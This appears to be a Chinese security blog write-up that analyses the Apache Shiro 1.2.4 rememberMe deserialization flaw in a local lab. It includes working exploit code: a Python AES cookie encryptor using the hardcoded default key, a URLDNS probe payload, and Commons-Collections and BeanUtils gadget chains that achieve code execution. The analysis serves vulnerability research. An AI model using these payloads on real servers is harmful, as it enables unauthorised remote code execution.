Apache Shiro Java 反序列化漏洞分析
Shiro概述
Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。目前在Java web应用安全框架中,最热门的产品有Spring Security和Shiro,二者在核心功能上几乎差不多,但Shiro更加轻量级,使用简单、上手更快、学习成本低,所以Shiro的使用量一直高于Spring Security。产品用户量之高,一旦爆发漏洞波及范围相当广泛,研究相关漏洞是很有必要的。
环境搭建
首先,需要获取 Apache Shiro 存在漏洞的源代码,具体操作如下:
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4
cd ./shiro/samples/web
为了配合生成反序列化的漏洞环境,需要添加存在漏洞的 jar 包,编辑 pom.xml 文件,添加如下行:
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
</dependencies>
在IDEA中导入mvn项目,并配置tomcat环境
漏洞分析
首先我们可以了解到Shro Java 反序列化漏洞存在几个重要的点
- rememberMe cookie
- CookieRememberMeManager.java
- Base64
- AES
- 加密密钥硬编码
- Java serialization
首先我们使用burp抓取登录的请求包可以看到,在登录的响应包的Cookie中有一个叫rememberMe的字段,并且在之后的访问的Cookie中都带着这个字段
一般来说Cookie都不会太长,这种很长的话一般来说就代表着它保存了一些关键信息,这些信息一般来说也就是会经过一些序列化、反序列化或者加密的处理,我们根据代码分析一下它加密的流程,首先容易看出这用了base64编码
然后我们可以根据名字在shiro包中找到一个叫CookieRememberMeManager
的类,看名字来说这多半就和Cookie中的rememberMe的字段有关,事实也是如此,我们可以找到两个函数rememberSerializedIdentity
和getRememberedSerializedIdentity
,根据名字可以看出一个执行序列化操作,一个执行反序列化操作,这里我们先重点看一下反序列化操作的这个函数getRememberedSerializedIdentity
先获取request
和response
,然后从中getCookie,接着进行base64解码,然后再解密,这里我们就再查看getRememberedSerializedIdentity
的调用函数,因为在调用函数里获取了base64解码后的数据嘛,然后能发现是在getRememberedSerializedIdentity
的父类AbstractRememberMeManager
中调用的
并且可以发现在获取到数据之后,就又进入到了一个convertBytesToPrincipals
函数,跟进函数,可以看到做了两步操作,第一步是解密,第二步是反序列化,然后我们就能了解到在最后进行了一个反序列化的操作,但是数据是进行加密过的,所以肯定是要先进行解密
我们先看下他的解密操作
首先是获取了密钥服务,然后进行解密,再次跟进
这是一个接口,传参传了一个加密字段和一个key,基本上能判断出这是一个对称加密,然后我们重点先看下它传的key,根据之前的一步操作可以看到key是通过getDecryptionCipherKey()
函数获取的,跟进函数
可以发现这是一个常量,然后我们看一下这是在哪里赋值的
我们主要看Value write
的地方,可以发现是在setDecryptionCipherKey
中进行赋值的,继续查看setDecryptionCipherKey
的调用
然后再查看setCipherKey的调用
在这里就能看到常量了
能看到这是一个固定的值,也就是说这用的是一个固定的key进行的加密,然后在上面我们可以看到这里使用的AES的加密方式
然后继续回到它的解密操作
进入解密函数
经过分析我们可以得知解密的流程中首先获取了iv的初始化长度,然后从数据文本中获取了前iv长度的数据就是iv的数据,然后剩下的部分则是加密数据,意思也就是说iv直接就拼接在加密数据之前,然后整体做了一次base64的编码,所以感觉iv使用了但是有没完全使用的感觉
然后我们在进入convertBytesToPrincipals
函数的反序列化函数deserialize
中
然后我们可以发现这里实际上调用了一个原生的反序列化操作,这里的话我们就可以通过依赖进行反序列化漏洞利用
然后基本上就能分析出基本的利用流程
构造一个序列化的payload --> AES加密 --> baes64编码 --> 走到正常流程里面,想办法调用序列化
漏洞利用
URLDNS利用链
先用jdk自带的URLDNS链验证一下
利用链分析
首先burp起一个监听
生成URLDNS利用链序列化payload
public class URLDNS {
public static void main(String[] args) throws Exception{
HashMap<Object, Object> hashMap = new HashMap<>();
URL url = new URL("http://p7x0wlxv1b78hwch1af6h7zt3k9axz.burpcollaborator.net");
Class<? extends URL> c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,1234);
hashMap.put(url,1);
hashCodeField.set(url,-1);
serialize(hashMap);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
}
编写EXP脚本
然后根据之前分析出的解密流程反推加密流程,编写EXP脚本,得到rememberMe加密数据
import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - -len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
# plaintext =bytes.decode(plaintext)
plaintext = unpad(plaintext)
if __name__ == '__main__':
data = get_file_data("ser.bin")
print(aes_enc(data))
#b'6/g1epheRi2z/LlZq56NM08ofzYtWKr9iPRksiHrEkPJ4BF8cXmf/dXbo+Vf4vHL+PamFQ4QligxuQFDGFVhNKM9laB/7bWQKpZjzIFUQwaSYaby3s8M4SSZTrdZKtlrM7TlheMcH2+rRJIjPUYfFGhAcZEbiq0x1nqyWmyN4xzAcxQLxPY+oaNLWhUF1AZAj5ycmeXhjMMwxXuge7JKKQPQ386IwGnZ15CROtNaq48wdNtlSlFsUw9dehI8ApwDAz44t03/iusofq+2BdFRf+hBN6xDEBFhfWGQl+Rf2HZAeB8dMINvgdJkUHAEPCD+JR/f0ppZjng+eK2nj0VsEX8B7WbWiMC1xZWnTt1wAE9Is09WMO5he/DgmUrQIkS41u2GIZOl9RHwwIwWKmcsfjz9iRay9HrluZan3QiGRoFBkymlxxYEqocEJNvTGQ0g+DMSyIRUC8dZnvJ3Fq4yORfZqa9IaL+1RjfTjd1tg4i51MPoTs7gEeP453dNWo0m///MMb4CWkTH40GUHxIFBw=='
然后替换rememberMe
然后可以发现还是保持着我的root用户登录,但是实际上我已经替换掉了,应该是读取不到我的认证信息了,但是这还是保持这我的登录状态,这其实是因为在cookie中还有一个参数JSESSIONID
,这也是用来做身份验证的,在代码逻辑中其实是有JSESSIONID
的话就不会去读rememberMe
,我们这里直接把JSESSIONID
删除
然后现在就是返回rememberMe=deleteMe
,这个一般也就是用这个做的检测,然后我们的DNS请求也是收到了
也就能说明这里执行了反序列化
具体的反序列流程和URLDNS利用链几乎一致
CC利用链
这里我们尝试使用commons-collections3.2.1的版本来进行测试
利用链分析
先用CC1做测试反序列化-->AES-->base64编码
可以发现报错了,经过分析可以得知是无法加载Transformer
这个类的原因,然后在下面可以看到加载了三次,都没找到,因为其实shiro也不是用原生的readObject
,调用的是ObjectInputStream
的readObject
,用的是ClassResolvingObjectInputStream
这么一个类,这里是自定义的一个对象输入流,跟进函数
在ClassResolvingObjectInputStream
里面其实重写了一个resolveClass
,然后在Java反序列化的是其实就是会调用resolveClass
加载类
跟原生的resolveClass
对比可以发现其实都差不多,只是原生的调用了Class的forname
进行类加载,然后ClassResolvingObjectInputStream
是调用自己写得ClassUtils
进行的类加载,然后进入ClassUtils
然后可以发现这里其实调用的是loadclass进行类加载,然后调用了三次,这也就回应了之前三次的调用失败的三次次数
然后加载不到Transformer
主要因为loadclass没有实现对数组类支持的逻辑,而forname实现,所以调用原生的类加载的时候不会报错
所以我们只要在利用链中不出现数组类就行了,其实也就是不要出现Transformer
就行了,根据我们之前了解到的如果说我们走直接代码执行(Runtime.exec()
)这个执行点的话就必须要走InvokerTransformer的循环调用,也就肯定要走Transformer
这个数组类,所以我们走代码执行,所以一般常规的都是使用的CC2那一条链,因为它没有使用Transformer
,但是CC2中使用的TransformingComparator
是commons-collections4的版本才有的,我们测试的这个版本是没有的,我们可以组合一下几条链
payload
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class Shiro_CC {
public static void main(String[] args) throws Exception{
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
//CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null,null);
//CC6
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazyMap.remove(templates);
Class<LazyMap> c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);
serialize(map2);
//unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}
}
其实也就是相当于用InvokerTransformer的newTransformer然后调用templates,从而绕过Transformer
数组类,然后经由之前编写的EXP脚本进行加密
得到rememberMe
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
利用效果
其实其他的链也可以改成不用Transformer
数组类的形式
commons-beanutils利用链
之前的CC依赖是我们手动添加的,实际上shiro默认是没有CC依赖的,所以我们只能使用shiro默认的依赖,这里我们可以利用commons-beanutils,因为之后commons-beanutils里面有完整的反序列化漏洞利用链的
commons-beanutils
CC是对Java集合类的增强
CB是Apache提供的一个用于操作JAVA bean的工具包。里面提供了各种各样的工具类,让我们可以很方便的对bean对象的属性进行各种操作。
JavaBean是什么?
在Java中,有很多class
的定义都符合这样的规范
- 若干
private
实例字段; - 通过
public
方法来读写实例字段。 - 命名要符合规范,符合骆驼式命名法,比如说属性名为
abc
,那么get
方法为public Type getAbc()
,set
方法为public void setAbc(Type value)
例如:
public class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge(){
return age;
}
public void setAge(int age){
this.age = age;
}
}
如果读写方法符合这种命名规范,那么这种class
被称为JavaBean
。
写一个简单的demo来调用一下getName()
import org.apache.commons.beanutils.PropertyUtils;
public class BeanTest {
public static void main(String[] args) throws Exception{
Person person = new Person("Townamcro",21);
System.out.println(person.getName());
}
}
但是这样写有一个弊端,因为每一个都要用这种函数调用的方式,在Commons-Beanutils
中提供了一种静态方法PropertyUtils#getProperty
,可以让使用者直接调用到任意JavaBean
对象中的getter
方法,这样就能相对动态的去执行。
这个方法,直接传入一个对象,然后获取这个对象的一个属性值,就会自动的去调用getName()方法。
Person person = new Person("Townmacro", 21);
System.out.println(PropertyUtils.getProperty(person, "name"));
System.out.println(PropertyUtils.getProperty(person, "age"));
这也就提供了动态执行代码的点,可能会产生安全问题。
利用链分析
下个断点跟进调试一下
这里调用了一个getProperty然后又调用了PropertyUtilsBean.getInstance().getProperty(bean, name)
然后又调用了getNestedProperty,在PropertyUtilsBean中
这里是首先进行了两次判断,判断两个参数是否非空,然后在最后又对bean的类型进行了判断,然后这里我们是进入了getSimpleProperty
执行到后面调用了getPropertyDescriptor这是一个获取属性描述符的方法
这里可以看到获取到了属性名和方法名,然后再向下执行,就执行到了一个反射调用
跟进去看一下
这个反射调用其实也很简单,就是对我们传递的对象执行一个符合JavaBean格式的方法
然后在这里我们在结合之前分析CC3利用链的时候的TemplatesImpl类中的getOutputProperties方法
这里面调用了newTransformer,这是可以动态加载类的,然后后面的getOutputProperties也是一个符合JavaBean格式的写法,然后结合CC3和CC2进行代码编写
public class Shiro_CB {
public static void main(String[] args) throws Exception{
Person person = new Person("Townmacro", 21);
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
//CB
BeanComparator beanComparator = new BeanComparator("outputProperties");
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
//CC2
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class<PriorityQueue> c = PriorityQueue.class;
Field comparatorField = c.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);
serialize(priorityQueue);
//unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}
}
然后利用生成的payload在加密进行测试发现执行失败,报错了,然后具体的报错原因是这个
它说找不到commons.collections
中的ComparableComparator
,但是很奇怪的是我们并没有用到这个类,为什么会报找不到它呢?
其实这是CB在设计的过程中,很多就是和CC重叠的,我们看一下BeanComparator这个类
然后就会发现,这里有两个构造函数,传一个参数的话就是走上面一个构造方法,在这里面就调用了ComparableComparator
,然后我们在shiro的默认依赖中并没有CC依赖,所以就报错了,那我们就用第二个构造方法,第二个参数我们传一个CB或者JDK里面自带的comparator并且继承了Serializable反序列化结构的,这里我们使用的是AttrCompare
然后新的payload
public class Shiro_CB {
public static void main(String[] args) throws Exception{
Person person = new Person("Townmacro", 21);
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("tmp/classes/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
//CB
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
//CC2
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class<PriorityQueue> c = PriorityQueue.class;
Field comparatorField = c.getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(priorityQueue,beanComparator);
serialize(priorityQueue);
//unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
return ois.readObject();
}
}
重新生成payload然后加密再进行测试
利用效果
执行成功